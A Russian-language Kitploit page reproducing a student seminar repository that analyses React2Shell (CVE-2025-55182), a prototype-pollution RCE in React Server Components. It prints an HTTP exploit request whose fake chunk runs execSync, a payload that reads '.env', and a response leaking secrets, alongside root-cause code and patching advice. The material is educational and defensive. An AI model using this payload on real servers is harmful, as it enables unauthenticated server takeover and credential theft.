Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
tech-seminar-React2Shell — [Наш FISA] Победитель технического семинара - Облачная разработка сервисов 6-й набор, команда 3 - Анализ и исследование React2Shell (CVE-2025-55182) | Kitploit
Инструменты/GitHubGitHub/woorifisa-service-dev-6th/tech-seminar-react2shell
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСтатьи и ИсследованияОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubwoorifisa-service-dev-6th/tech-seminar-react2shell

tech-seminar-React2Shell

[Наш FISA] Победитель технического семинара - Облачная разработка сервисов 6-й набор, команда 3 - Анализ и исследование React2Shell (CVE-2025-55182)

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
16 месяцев назадЕщё не проверено

React2Shell (CVE-2025-55182)

Семинар FISA 6-го набора — команда 3. Анализ и исследование уязвимости удаленного выполнения кода (RCE) React2Shell, использующей недостатки проектирования React Server Component (RSC).

Команда

Победное фото

УчастникРольGitHub
Нам ИнсоИсследование материалов, создание презентации, доклад@sene03
Ю СынджунИсследование материалов, создание презентации, доклад@fluanceifi
Ли СухёнИсследование материалов, создание презентации@hyun793
Ким ЮджонИсследование материалов, создание презентации@yujung23

Содержание

  1. Обзор: что такое React2Shell?
  2. Механизм атаки React2Shell
  3. Влияние React2Shell
  4. Ответственность за безопасность на фронтенде

01. Обзор: что такое React2Shell?

React2Shell(CVE-2025-55182) — это критическая уязвимость безопасности, обнаруженная в процессе взаимодействия Flight Protocol, используемого React Server Component (RSC).

  • Ключевая проблема: злоумышленник может выполнить внутренние команды сервера без аутентификации с помощью всего одного HTTP-запроса.
  • Серьезность: CVSS Score 10.0
  • Причина возникновения: Прототипное загрязнение (Prototype Pollution) в процессе десериализации недоверенных данных.

Недостатки проектирования Flight Protocol

React использует Flight Protocol, который, помимо строк и массивов, поддерживает сложные типы, такие как Promise, Blob, Map, для обработки компонентов.

ВыражениеТипОписание
$$Экранированный $Литеральная строка, начинающаяся с $
$@Promise/ChunkСсылка на ID чанка

Злоумышленник использует уязвимость в обработке потоков протокола, чтобы внедрить вредоносный скрипт и получить контроль над сервером.

Хронология

  • 2025.11.29: Первое сообщение через Meta Bug Bounty
  • 2025.11.30: Подтверждение командой безопасности и начало сотрудничества с командой React
  • 2025.12.01: Разработка патча и проверка партнерами (Vercel и др.)
  • 2025.12.03: Выпуск патча и публикация CVE

02. Механизм атаки React2Shell

  • Наиболее распространенный метод атаки заключается в злоупотреблении системой ссылок (Reference) Flight-протокола React без каких-либо предварительных условий.
  • Атака состоит из трех этапов: Установка бомбы (отправка полезной нагрузки) → Воспламенение (десериализация) → Взрыв (выполнение RCE).

1) Установка бомбы

Злоумышленник отправляет на сервер запрос с заголовками Next-Action и multipart/form-data, передавая JSON-данные. В тело запроса он включает поддельный чанк (Fake Chunk), маскирующийся под объект Promise.

root@kitploit:~
POST / HTTP/1.1
Host: localhost: 3000

[... 기타 헤더 생략 ...]

Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

------WebKitFormBoundary7MA4YWxkTrZu0gW

Content-Disposition: form-data; name="0"
{"then": "$1: __proto__: then", "status": "resolved_model" , "reason": -1, "value": "{\"then\": \"$B0\"}" , "_response":
f"_prefix": "var res = process mainModule.require('child_process'). execSync('실행할 명령어',
{'timeout': 5000}). toString(). trim(); throw Object.assign(new Error( 'NEXT_REDIRECT'), {digest: ${res} });" {"get":"$1: constructor: constructor"}}}

------WebkitFormBoundary7MA4YWxkTrZu0gW

Content-Disposition: form-data; name="1"
"$@0"

------WebKitFormBoundary7MA4YWxkTrZu0gW--
'_formData":

2) Воспламенение

root@kitploit:~
// 공격자가 전송한 가짜 청크 예시
{
	"then" : "$1:__proto__:then"
	"status" : "resolved_model",
	"reason" : -1,
	"value" : "{\"then\":\"$B0\"}",
	"_response" : {
		"_prefix": "execSync('cat .env'); //",
		"_formData":{"get": "$1:constructor:constructor"}
	}
}
  1. Параметру then поддельного чанка, отправленного злоумышленником, присваивается Chunk.prototype.then.
  2. В процессе десериализации данных Blob вредоносный код из _prefix передается в качестве аргумента Function.
  3. Как только созданная функция вызывается как thenable Promise, произвольный код, внедренный злоумышленником, выполняется на сервере.

3) Взрыв

root@kitploit:~
// POST 요청에 대한 응답 예시
500
0:{"a":"$@1","f":"","b":"sDAZnkg0U4tReIQ4vYjJS"}
1:E{"digest":**"DATABASE_URL='...'"**}

Коренная причина

root@kitploit:~
// ReactFlightReplyServer.js - getOutlinedModel() 
for (let i = 1; i < path.length; i++) {
  value = value[path[i]];  // 여기서 hasOwnProperty check가 누락됨!
}
  • React при разборе ссылок вида $1:path:to:value разделяет строку по двоеточию (:) и обходит внутренние объекты.
  • В процессе этого при разборе $1:__proto__:then он получает доступ к прототипу чанка и его свойству then (Chunk.prototype.then).
  • В итоге поддельный чанк получает настоящий then, что приводит к выполнению кода, задуманного злоумышленником.

03. Влияние React2Shell

Эта уязвимость вызвала большой резонанс во всей современной веб-экосистеме.

  • Удар по доверию к серверным компонентам: спровоцировала дискуссию «Должен ли фронтенд-фреймворк нести ответственность и за серверную безопасность?»
  • Чрезвычайная ситуация на хостинг-платформах: срочные патчи безопасности от крупных PaaS-провайдеров, поддерживающих RSC, таких как Vercel, Netlify.

04. Ответственность за безопасность на фронтенде

Инцидент с React2Shell дал урок: «Фронтенд-разработчики тоже должны понимать серверную безопасность».

Меры реагирования

1. Немедленное обновление пакетов, связанных с React

Обновите пакеты, такие как react-server-dom-webpack, до последних версий (например, 19.0.1+).

2. Проверка патчей фреймворка

Фреймворки, встроившие RSC, такие как Next.js, не исправляются простым обновлением React — необходимо проверить заметки о безопасности самого фреймворка и обновиться до последней версии.

3. Мониторинг

Используйте системы мониторинга, такие как Grafana, и подключите оповещения (по электронной почте, через Slack и т.п.) для возможности немедленного реагирования.

С расширением границ фронтенда благодаря развитию технологий необходимо осознавать, что расширяется и область ответственности за безопасность.


Материалы

React Official Patch

React2Shell: Полное руководство по анализу уязвимости CVE-2025-55182

Анализ уязвимости серверных компонентов React и путей проникновения в систему

PoC: Код подтверждения концепции уязвимости

Скачать инструмент